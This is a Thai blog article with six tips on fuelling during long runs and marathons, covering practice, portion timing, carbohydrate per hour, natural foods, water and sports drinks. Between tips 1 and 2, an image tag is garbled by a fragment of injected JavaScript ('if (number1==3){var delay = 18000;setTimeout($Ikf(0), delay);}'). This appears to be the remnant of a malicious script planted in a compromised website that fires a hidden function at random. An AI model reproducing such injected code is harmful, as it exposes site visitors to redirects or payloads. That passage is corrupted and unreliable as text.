6 ทิปเรื่องกินสำหรับการวิ่ง Long Run

ทำไมการวิ่งระยะไกลต้องมีเรื่องกินเข้ามาเกี่ยวข้อง ทำไมนักวิ่งมาราธอน นักวิ่งเทรลและนักวิ่งระยะอัลตร้า ถึงต้องใส่ใจเรื่องการกิน ขณะแข่งขันบนสนามวิ่ง วันนี้เรามาหาคำตอบกันและแนะนำทิปง่ายๆ สำหรับการกินระหว่างแข่งขัน

ในการวิ่งแข่งระยะทางไกลที่กินเวลาระหว่าง 60-90 นาที ร่างกายจะใช้พลังงานที่สะสมในร่างกาย ดึงพลังงานที่สะสมอยู่ในรูปของไกลโคเจน (Glycogen) ที่สะสมในมัดกล้ามเนื้อ แต่เมื่อวิ่งเกินระยะเวลา 90 นาทีขึ้นไปถึง 2 ชั่วโมง ปริมาณไกลโคเจน จะลดลงจนเกือบหมด ด้วยสาเหตุนี้การเติมพลังงานกลับเข้าไป (กิน) จึงเป็นเรื่องจำเป็น และแน่นอนว่าถ้าเราละเลยการเติมพลังงานกลับเข้าไป จะส่งผลต่อ performance และการทำงานของร่างกายให้เป็นไปปกติ

6 เทคนิคการกินอาหารเติมพลังงานระหว่างวิ่ง

1. การกินระหว่างการแข่งขันจำเป็นต้องมีการฝึกฝน ไม่แนะนำให้ลองกินระหว่างการแข่งขันจริง เพราะนักวิ่งแต่ละคนสามารถรับประเภทอาหารได้ต่างกัน อาหารที่มีตามท้องตลาดที่มีขาย จะมีหลายประเภท อย่างเช่น energy gel, energy bar, ธัญพืชแห้งและกล้วยตากแห้ง เป็นต้น บางคนกินพวกเจลไม่ได้ก็ต้องเลือกเป็นกล้วยตากแห้งหรือธัญพืชแทน

สำหรับใครที่ตั้งเป้าหมายที่จะลงมาราธอนแรก ในช่วงการซ้อมวิ่ง Long Run จึงถือว่าเป็นโอกาสที่จะได้ทดลองและฝึกกินอาหารขณะวิ่ง นักวิ่งจะได้ทดลองประเภทอาหารที่ถูกปากถูกท้องไปในตัวด้วย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280-800×534.jpg” alt=”” width=”800″ height=”534″ />

2. กินที่ละน้อย กินที่ละนิด สำหรับใครที่มีปัญหาการย่อยอาหาร หรือไม่คุ้นเคยการกินระหว่างวิ่ง ไม่สามารถกินทั้งแผงหมดที่เดียวได้ แนะนำให้ใช้วิ่งกินแบบชิ้นเล็กชิ้นน้อย และกินบ่อย ซอยระยะกินตามระยะทางที่ 5-8 กิโลเมตรแล้วกินหนึ่งครั้ง แทนที่จะกินทุกระยะ 12-16 กิโลเมตร

3. เติมพลังงาน (กิน) ทุกๆ 30-45 นาทีต่อครั้ง เราควรมีการกินและให้ร่างกายมีเวลาย่อยดึงพลังงานไปใช้ ร่ายกายจำเป็นต้องมีเวลาในการย่อยอาหารไปเป็นพลังงาน ปริมาณคาร์โบไฮเดรตที่แนะนำให้กินจะอยู่ที่ 30-60 กรัมต่อทุกๆ ชั่วโมง (หรือพลังงานประมาณ 100-200 Kcal ที่ต้องเติมสำหรับการวิ่งระยะเวลา 60-90 นาทีขึ้นไป) ทั้งนี้ปริมาณพลังงานที่เติมกลับต้องดูตามสภาพสนาม เพศอายุ เป้าหมายที่ต้องไว้และความเร็วที่ทำด้วย

4. ทดลองอาหารประเภทออร์แกนิคหรืออาหารธรรมชาติ แทนที่การใช้พวก energy gel และ energy bar เพราะจะมีราคาถูกกว่า อีกทั้งจะถูกปากถูกท้องมากกว่าเจลสำเร็จรูป ตัวอย่างเช่น ถั่ว น้ำผึ้ง ธัญพืชอัดแท่ง ผลไม้ตากแห้งอย่างพวกกล้วย เป็นต้น ยิ่งคนที่ไม่สามารถรับเจลได้ คงต้องทดลองหาอาหารที่ถูกปากถูกท้องไประยะใหญ่เลยละครับ

5. อย่าลืมน้ำ ถ้าเมื่อไหร่ที่เราเริ่มหิวน้ำนั้นแสดงว่าเรามีอาการขาดน้ำแล้ว น้ำถือเป็นเรื่องสำคัญมากกว่าการกินอาหารในระหว่างการแข่งขัน และเมื่อเรากินอหารแล้วก็ควรตามด้วยน้ำ เพื่อให้น้ำละลายสารอาหาร ลำเลียงและดูดซึม ทริคง่ายๆ เพื่อเลี่ยงอาการขาดน้ำในการวิ่งแข่งขันคือ ดื่มน้ำที่จุดบริการเลยครับ จุดละ 1-2 แก้วก็พอ

6. ทดลองเครื่องดื่มเกลือแร่หรือพวก Sport drink ดูบ้าง เพราะเครื่องดื่ม Sport drink บางแบรนด์จะมีการใส่คาร์โบไฮเดเรตลงไปด้วย ถ้าไม่สามารถหาของกินเป็นชิ้นเป็นอันได้ก็ลองดื่ม Sprot drink แทนก็ได้